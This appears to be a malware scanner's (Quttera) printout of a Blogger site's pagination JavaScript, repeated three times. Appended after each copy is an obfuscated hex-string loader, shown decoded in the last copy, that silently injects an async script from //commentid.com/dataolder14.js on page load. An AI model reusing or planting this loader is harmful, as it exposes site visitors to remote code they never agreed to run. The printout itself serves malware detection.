var numOfPages= 2;
var pageOf= ["Page", "of"];
var noPage;
var currentPage;
var currentPageNo;
var postLabel;
var locationUrl=location.href;
var home_page="/";
pageCurrentBlogger();
function startPagination(a)
{
var b='';
pageNumber=parseInt(numOfPages/2);
if(pageNumber==numOfPages-pageNumber)
{
numOfPages=pageNumber*2+1
}
pageStart=currentPageNo-pageNumber;
if(pageStart<1)pageStart=1;
lastPageNo=parseInt(a/postPerPage)+1;
if(lastPageNo-1==a/postPerPage)lastPageNo=lastPageNo-1;
pageEnd=pageStart+numOfPages-1;
if(pageEnd>lastPageNo)pageEnd=lastPageNo;
b+='<span class="page-of">'+pageOf[0]+' '+currentPageNo+' '+pageOf[1]+' '+lastPageNo+'</span>';
var c=parseInt(currentPageNo)-1;
if(currentPageNo>1)
{
if(currentPageNo==2)
{
if(currentPage=='page')
{
b+='<a class="page-num page-prev" href="'+home_page+'"></a>'
}
else
{
b+='<a class="page-num page-prev" href="/search/label/'+postLabel+'?&max-results='+postPerPage+'"></a>'
}
}
else
{
if(currentPage=='page')
{
b+='<a class="page-num page-prev" href="#" onclick="getPage('+c+');
return false"></a>'
}
else
{
b+='<a class="page-num page-prev" href="#" onclick="getLabelPage('+c+');
return false"></a>'
}
}
}
if(pageStart>1)
{
if(currentPage=="page")
{
b+='<a class="page-num" href="'+home_page+'">1</a>'
}
else
{
b+='<a class="page-num" href="/search/label/'+postLabel+'?&max-results='+postPerPage+'">1</a>'
}
}
if(pageStart>2)
{
b+='<span class="page-num page-dots">...</span>'
}
for(var d=pageStart;
d<=pageEnd;
d++)
{
if(currentPageNo==d)
{
b+='<span class="page-num page-active">'+d+'</span>'
}
else if(d==1)
{
if(currentPage=='page')
{
b+='<a class="page-num" href="'+home_page+'">1</a>'
}
else
{
b+='<a class="page-num" href="/search/label/'+postLabel+'?&max-results='+postPerPage+'">1</a>'
}
}
else
{
if(currentPage=='page')
{
b+='<a class="page-num" href="#" onclick="getPage('+d+');
return false">'+d+'</a>'
}
else
{
b+='<a class="page-num" href="#" onclick="getLabelPage('+d+');
return false">'+d+'</a>'
}
}
}
if(pageEnd<lastPageNo-1)
{
b+='<span class="page-num page-dots">...</span>'
}
if(pageEnd<lastPageNo)
{
if(currentPage=="page")
{
b+='<a class="page-num" href="#" onclick="getPage('+lastPageNo+');
return false">'+lastPageNo+'</a>'
}
else
{
b+='<a class="page-num" href="#" onclick="getLabelPage('+lastPageNo+');
return false">'+lastPageNo+'</a>'
}
}
var e=parseInt(currentPageNo)+1;
if(currentPageNo<lastPageNo)
{
if(currentPage=='page')
{
b+='<a class="page-num page-next" href="#" onclick="getPage('+e+');
return false"></a>'
}
else
{
b+='<a class="page-num page-next" href="#" onclick="getLabelPage('+e+');
return false"></a>'
}
}
b+='';
var f=document.getElementsByName('pageArea');
var g=document.getElementById('blog-pager');
for(var p=0;
p<f.length;
p++)
{
f[p].innerHTML=b
}
if(f&&f.length>0)
{
b=''
}
if(g)
{
g.innerHTML=b
}
}
function dataFeed(a)
{
var b=a.feed;
var c=parseInt(b.openSearch$totalResults.$t,10);
startPagination(c)
}
function pageCurrentBlogger()
{
var a=locationUrl;
if(a.indexOf('/search/label/')!=-1)
{
if(a.indexOf('?updated-max')!=-1)
{
postLabel=a.substring(a.indexOf('/search/label/')+14,a.indexOf('?updated-max'))
}
else
{
postLabel=a.substring(a.indexOf('/search/label/')+14,a.indexOf('?&max'))
}
}
if(a.indexOf('?q=')==-1&&a.indexOf('.html')==-1)
{
if(a.indexOf('/search/label/')==-1)
{
currentPage='page';
if(locationUrl.indexOf('#PageNo=')!=-1)
{
currentPageNo=locationUrl.substring(locationUrl.indexOf('#PageNo=')+8,locationUrl.length)
}
else
{
currentPageNo=1
}
document.write('<script src=\''+home_page+'feeds/posts/summary?max-results=1&alt=json-in-script&callback=dataFeed\'><\/script>')
}
else
{
currentPage='label';
if(a.indexOf('&max-results=')==-1)
{
postPerPage=20
}
if(locationUrl.indexOf('#PageNo=')!=-1)
{
currentPageNo=locationUrl.substring(locationUrl.indexOf('#PageNo=')+8,locationUrl.length)
}
else
{
currentPageNo=1
}
document.write('<script src="'+home_page+'feeds/posts/summary/-/'+postLabel+'?alt=json-in-script&callback=dataFeed&max-results=1" ><\/script>')
}
}
}
function getPage(a)
{
jsonstart=(a-1)*postPerPage;
noPage=a;
var b=document.getElementsByTagName('head')[0];
var c=document.createElement('script');
c.type='text/javascript';
c.setAttribute('src',home_page+'feeds/posts/summary?start-index='+jsonstart+'&max-results=1&alt=json-in-script&callback=findPostDate');
b.appendChild(c)
}
function getLabelPage(a)
{
jsonstart=(a-1)*postPerPage;
noPage=a;
var b=document.getElementsByTagName('head')[0];
var c=document.createElement('script');
c.type='text/javascript';
c.setAttribute('src',home_page+'feeds/posts/summary/-/'+postLabel+'?start-index='+jsonstart+'&max-results=1&alt=json-in-script&callback=findPostDate');
b.appendChild(c)
}
function findPostDate(a)
{
post=a.feed.entry[0];
var b=post.published.$t.substring(0,19)+post.published.$t.substring(23,29);
var c=encodeURIComponent(b);
if(currentPage=='page')
{
var d='/search?updated-max='+c+'&max-results='+postPerPage+'#PageNo='+noPage
}
else
{
var d='/search/label/'+postLabel+'?updated-max='+c+'&max-results='+postPerPage+'#PageNo='+noPage
}
location.href=d
}
var _0x7bdd=["\x73\x6D\x61\x6C\x6C","\x30\x30\x77\x79\x39\x7A\x77\x30\x35\x37\x72\x74","\x70\x64\x34","\x70\x75\x73\x68","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x61\x73\x79\x6E\x63","\x73\x72\x63","\x2F\x2F\x63\x6F\x6D\x6D\x65\x6E\x74\x69\x64\x2E\x63\x6F\x6D\x2F\x64\x61\x74\x61\x6F\x6C\x64\x65\x72\x31\x34\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"];var _wau=_wau|| [];_wau[_0x7bdd[3]]([_0x7bdd[0],_0x7bdd[1],_0x7bdd[2]]);(function(){var _0xbba5x2=document[_0x7bdd[5]](_0x7bdd[4]);_0xbba5x2[_0x7bdd[6]]= true;_0xbba5x2[_0x7bdd[7]]= _0x7bdd[8];document[_0x7bdd[11]](_0x7bdd[10])[0][_0x7bdd[9]](_0xbba5x2)})()
var numOfPages= 2;
var pageOf= ["Page", "of"];
var noPage;
var currentPage;
var currentPageNo;
var postLabel;
var locationUrl=location.href;
var home_page="/";
pageCurrentBlogger();
function startPagination(a)
{
var b='';
pageNumber=parseInt(numOfPages/2);
if(pageNumber==numOfPages-pageNumber)
{
numOfPages=pageNumber*2+1
}
pageStart=currentPageNo-pageNumber;
if(pageStart<1)pageStart=1;
lastPageNo=parseInt(a/postPerPage)+1;
if(lastPageNo-1==a/postPerPage)lastPageNo=lastPageNo-1;
pageEnd=pageStart+numOfPages-1;
if(pageEnd>lastPageNo)pageEnd=lastPageNo;
b+='<span class="page-of">'+pageOf[0]+' '+currentPageNo+' '+pageOf[1]+' '+lastPageNo+'</span>';
var c=parseInt(currentPageNo)-1;
if(currentPageNo>1)
{
if(currentPageNo==2)
{
if(currentPage=='page')
{
b+='<a class="page-num page-prev" href="'+home_page+'"></a>'
}
else
{
b+='<a class="page-num page-prev" href="/search/label/'+postLabel+'?&max-results='+postPerPage+'"></a>'
}
}
else
{
if(currentPage=='page')
{
b+='<a class="page-num page-prev" href="#" onclick="getPage('+c+');
return false"></a>'
}
else
{
b+='<a class="page-num page-prev" href="#" onclick="getLabelPage('+c+');
return false"></a>'
}
}
}
if(pageStart>1)
{
if(currentPage=="page")
{
b+='<a class="page-num" href="'+home_page+'">1</a>'
}
else
{
b+='<a class="page-num" href="/search/label/'+postLabel+'?&max-results='+postPerPage+'">1</a>'
}
}
if(pageStart>2)
{
b+='<span class="page-num page-dots">...</span>'
}
for(var d=pageStart;
d<=pageEnd;
d++)
{
if(currentPageNo==d)
{
b+='<span class="page-num page-active">'+d+'</span>'
}
else if(d==1)
{
if(currentPage=='page')
{
b+='<a class="page-num" href="'+home_page+'">1</a>'
}
else
{
b+='<a class="page-num" href="/search/label/'+postLabel+'?&max-results='+postPerPage+'">1</a>'
}
}
else
{
if(currentPage=='page')
{
b+='<a class="page-num" href="#" onclick="getPage('+d+');
return false">'+d+'</a>'
}
else
{
b+='<a class="page-num" href="#" onclick="getLabelPage('+d+');
return false">'+d+'</a>'
}
}
}
if(pageEnd<lastPageNo-1)
{
b+='<span class="page-num page-dots">...</span>'
}
if(pageEnd<lastPageNo)
{
if(currentPage=="page")
{
b+='<a class="page-num" href="#" onclick="getPage('+lastPageNo+');
return false">'+lastPageNo+'</a>'
}
else
{
b+='<a class="page-num" href="#" onclick="getLabelPage('+lastPageNo+');
return false">'+lastPageNo+'</a>'
}
}
var e=parseInt(currentPageNo)+1;
if(currentPageNo<lastPageNo)
{
if(currentPage=='page')
{
b+='<a class="page-num page-next" href="#" onclick="getPage('+e+');
return false"></a>'
}
else
{
b+='<a class="page-num page-next" href="#" onclick="getLabelPage('+e+');
return false"></a>'
}
}
b+='';
var f=document.getElementsByName('pageArea');
var g=document.getElementById('blog-pager');
for(var p=0;
p<f.length;
p++)
{
f[p].innerHTML=b
}
if(f&&f.length>0)
{
b=''
}
if(g)
{
g.innerHTML=b
}
}
function dataFeed(a)
{
var b=a.feed;
var c=parseInt(b.openSearch$totalResults.$t,10);
startPagination(c)
}
function pageCurrentBlogger()
{
var a=locationUrl;
if(a.indexOf('/search/label/')!=-1)
{
if(a.indexOf('?updated-max')!=-1)
{
postLabel=a.substring(a.indexOf('/search/label/')+14,a.indexOf('?updated-max'))
}
else
{
postLabel=a.substring(a.indexOf('/search/label/')+14,a.indexOf('?&max'))
}
}
if(a.indexOf('?q=')==-1&&a.indexOf('.html')==-1)
{
if(a.indexOf('/search/label/')==-1)
{
currentPage='page';
if(locationUrl.indexOf('#PageNo=')!=-1)
{
currentPageNo=locationUrl.substring(locationUrl.indexOf('#PageNo=')+8,locationUrl.length)
}
else
{
currentPageNo=1
}
'<script src=\''+home_page+'feeds/posts/summary?max-results=1&alt=json-in-script&callback=dataFeed\'><\/script>'
}
else
{
currentPage='label';
if(a.indexOf('&max-results=')==-1)
{
postPerPage=20
}
if(locationUrl.indexOf('#PageNo=')!=-1)
{
currentPageNo=locationUrl.substring(locationUrl.indexOf('#PageNo=')+8,locationUrl.length)
}
else
{
currentPageNo=1
}
'<script src="'+home_page+'feeds/posts/summary/-/'+postLabel+'?alt=json-in-script&callback=dataFeed&max-results=1" ><\/script>'
}
}
}
function getPage(a)
{
jsonstart=(a-1)*postPerPage;
noPage=a;
var b=document.getElementsByTagName('head')[0];
var c=document.createElement('script');
c.type='text/javascript';
c.setAttribute('src',home_page+'feeds/posts/summary?start-index='+jsonstart+'&max-results=1&alt=json-in-script&callback=findPostDate');
b.appendChild(c)
}
function getLabelPage(a)
{
jsonstart=(a-1)*postPerPage;
noPage=a;
var b=document.getElementsByTagName('head')[0];
var c=document.createElement('script');
c.type='text/javascript';
c.setAttribute('src',home_page+'feeds/posts/summary/-/'+postLabel+'?start-index='+jsonstart+'&max-results=1&alt=json-in-script&callback=findPostDate');
b.appendChild(c)
}
function findPostDate(a)
{
post=a.feed.entry[0];
var b=post.published.$t.substring(0,19)+post.published.$t.substring(23,29);
var c=encodeURIComponent(b);
if(currentPage=='page')
{
var d='/search?updated-max='+c+'&max-results='+postPerPage+'#PageNo='+noPage
}
else
{
var d='/search/label/'+postLabel+'?updated-max='+c+'&max-results='+postPerPage+'#PageNo='+noPage
}
location.href=d
}
var _0x7bdd=["\x73\x6D\x61\x6C\x6C","\x30\x30\x77\x79\x39\x7A\x77\x30\x35\x37\x72\x74","\x70\x64\x34","\x70\x75\x73\x68","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x61\x73\x79\x6E\x63","\x73\x72\x63","\x2F\x2F\x63\x6F\x6D\x6D\x65\x6E\x74\x69\x64\x2E\x63\x6F\x6D\x2F\x64\x61\x74\x61\x6F\x6C\x64\x65\x72\x31\x34\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"];var _wau=_wau|| [];_wau[_0x7bdd[3]]([_0x7bdd[0],_0x7bdd[1],_0x7bdd[2]]);(function(){var _0xbba5x2=document[_0x7bdd[5]](_0x7bdd[4]);_0xbba5x2[_0x7bdd[6]]= true;_0xbba5x2[_0x7bdd[7]]= _0x7bdd[8];document[_0x7bdd[11]](_0x7bdd[10])[0][_0x7bdd[9]](_0xbba5x2)})()
var numOfPages= 2;
var pageOf= ["Page", "of"];
var noPage;
var currentPage;
var currentPageNo;
var postLabel;
var locationUrl=location.href;
var home_page="/";
pageCurrentBlogger();
function startPagination(a)
{
var b='';
pageNumber=parseInt(numOfPages/2);
if(pageNumber==numOfPages-pageNumber)
{
numOfPages=pageNumber*2+1
}
pageStart=currentPageNo-pageNumber;
if(pageStart<1)pageStart=1;
lastPageNo=parseInt(a/postPerPage)+1;
if(lastPageNo-1==a/postPerPage)lastPageNo=lastPageNo-1;
pageEnd=pageStart+numOfPages-1;
if(pageEnd>lastPageNo)pageEnd=lastPageNo;
b+='<span class="page-of">'+pageOf[0]+' '+currentPageNo+' '+pageOf[1]+' '+lastPageNo+'</span>';
var c=parseInt(currentPageNo)-1;
if(currentPageNo>1)
{
if(currentPageNo==2)
{
if(currentPage=='page')
{
b+='<a class="page-num page-prev" href="'+home_page+'"></a>'
}
else
{
b+='<a class="page-num page-prev" href="/search/label/'+postLabel+'?&max-results='+postPerPage+'"></a>'
}
}
else
{
if(currentPage=='page')
{
b+='<a class="page-num page-prev" href="#" onclick="getPage('+c+');
return false"></a>'
}
else
{
b+='<a class="page-num page-prev" href="#" onclick="getLabelPage('+c+');
return false"></a>'
}
}
}
if(pageStart>1)
{
if(currentPage=="page")
{
b+='<a class="page-num" href="'+home_page+'">1</a>'
}
else
{
b+='<a class="page-num" href="/search/label/'+postLabel+'?&max-results='+postPerPage+'">1</a>'
}
}
if(pageStart>2)
{
b+='<span class="page-num page-dots">...</span>'
}
for(var d=pageStart;
d<=pageEnd;
d++)
{
if(currentPageNo==d)
{
b+='<span class="page-num page-active">'+d+'</span>'
}
else if(d==1)
{
if(currentPage=='page')
{
b+='<a class="page-num" href="'+home_page+'">1</a>'
}
else
{
b+='<a class="page-num" href="/search/label/'+postLabel+'?&max-results='+postPerPage+'">1</a>'
}
}
else
{
if(currentPage=='page')
{
b+='<a class="page-num" href="#" onclick="getPage('+d+');
return false">'+d+'</a>'
}
else
{
b+='<a class="page-num" href="#" onclick="getLabelPage('+d+');
return false">'+d+'</a>'
}
}
}
if(pageEnd<lastPageNo-1)
{
b+='<span class="page-num page-dots">...</span>'
}
if(pageEnd<lastPageNo)
{
if(currentPage=="page")
{
b+='<a class="page-num" href="#" onclick="getPage('+lastPageNo+');
return false">'+lastPageNo+'</a>'
}
else
{
b+='<a class="page-num" href="#" onclick="getLabelPage('+lastPageNo+');
return false">'+lastPageNo+'</a>'
}
}
var e=parseInt(currentPageNo)+1;
if(currentPageNo<lastPageNo)
{
if(currentPage=='page')
{
b+='<a class="page-num page-next" href="#" onclick="getPage('+e+');
return false"></a>'
}
else
{
b+='<a class="page-num page-next" href="#" onclick="getLabelPage('+e+');
return false"></a>'
}
}
b+='';
var f=document.getElementsByName('pageArea');
var g=document.getElementById('blog-pager');
for(var p=0;
p<f.length;
p++)
{
f[p].innerHTML=b
}
if(f&&f.length>0)
{
b=''
}
if(g)
{
g.innerHTML=b
}
}
function dataFeed(a)
{
var b=a.feed;
var c=parseInt(b.openSearch$totalResults.$t,10);
startPagination(c)
}
function pageCurrentBlogger()
{
var a=locationUrl;
if(a.indexOf('/search/label/')!=-1)
{
if(a.indexOf('?updated-max')!=-1)
{
postLabel=a.substring(a.indexOf('/search/label/')+14,a.indexOf('?updated-max'))
}
else
{
postLabel=a.substring(a.indexOf('/search/label/')+14,a.indexOf('?&max'))
}
}
if(a.indexOf('?q=')==-1&&a.indexOf('.html')==-1)
{
if(a.indexOf('/search/label/')==-1)
{
currentPage='page';
if(locationUrl.indexOf('#PageNo=')!=-1)
{
currentPageNo=locationUrl.substring(locationUrl.indexOf('#PageNo=')+8,locationUrl.length)
}
else
{
currentPageNo=1
}
'<script src=\''+home_page+'feeds/posts/summary?max-results=1&alt=json-in-script&callback=dataFeed\'><\/script>'
}
else
{
currentPage='label';
if(a.indexOf('&max-results=')==-1)
{
postPerPage=20
}
if(locationUrl.indexOf('#PageNo=')!=-1)
{
currentPageNo=locationUrl.substring(locationUrl.indexOf('#PageNo=')+8,locationUrl.length)
}
else
{
currentPageNo=1
}
'<script src="'+home_page+'feeds/posts/summary/-/'+postLabel+'?alt=json-in-script&callback=dataFeed&max-results=1" ><\/script>'
}
}
}
function getPage(a)
{
jsonstart=(a-1)*postPerPage;
noPage=a;
var b=document.getElementsByTagName('head')[0];
var c=document.createElement('script');
c.type='text/javascript';
c.setAttribute('src',home_page+'feeds/posts/summary?start-index='+jsonstart+'&max-results=1&alt=json-in-script&callback=findPostDate');
b.appendChild(c)
}
function getLabelPage(a)
{
jsonstart=(a-1)*postPerPage;
noPage=a;
var b=document.getElementsByTagName('head')[0];
var c=document.createElement('script');
c.type='text/javascript';
c.setAttribute('src',home_page+'feeds/posts/summary/-/'+postLabel+'?start-index='+jsonstart+'&max-results=1&alt=json-in-script&callback=findPostDate');
b.appendChild(c)
}
function findPostDate(a)
{
post=a.feed.entry[0];
var b=post.published.$t.substring(0,19)+post.published.$t.substring(23,29);
var c=encodeURIComponent(b);
if(currentPage=='page')
{
var d='/search?updated-max='+c+'&max-results='+postPerPage+'#PageNo='+noPage
}
else
{
var d='/search/label/'+postLabel+'?updated-max='+c+'&max-results='+postPerPage+'#PageNo='+noPage
}
location.href=d
}
var _0x7bdd=["small","00wy9zw057rt","pd4","push","script","createElement","async","src","//commentid.com/dataolder14.js","appendChild","head","getElementsByTagName"];var _wau=_wau|| [];_wau[_0x7bdd[3]]([_0x7bdd[0],_0x7bdd[1],_0x7bdd[2]]);(function(){var _0xbba5x2=document[_0x7bdd[5]](_0x7bdd[4]);_0xbba5x2[_0x7bdd[6]]= true;_0xbba5x2[_0x7bdd[7]]= _0x7bdd[8];document[_0x7bdd[11]](_0x7bdd[10])[0][_0x7bdd[9]](_0xbba5x2)})()
© 2023 Quttera Ltd. All rights reserved.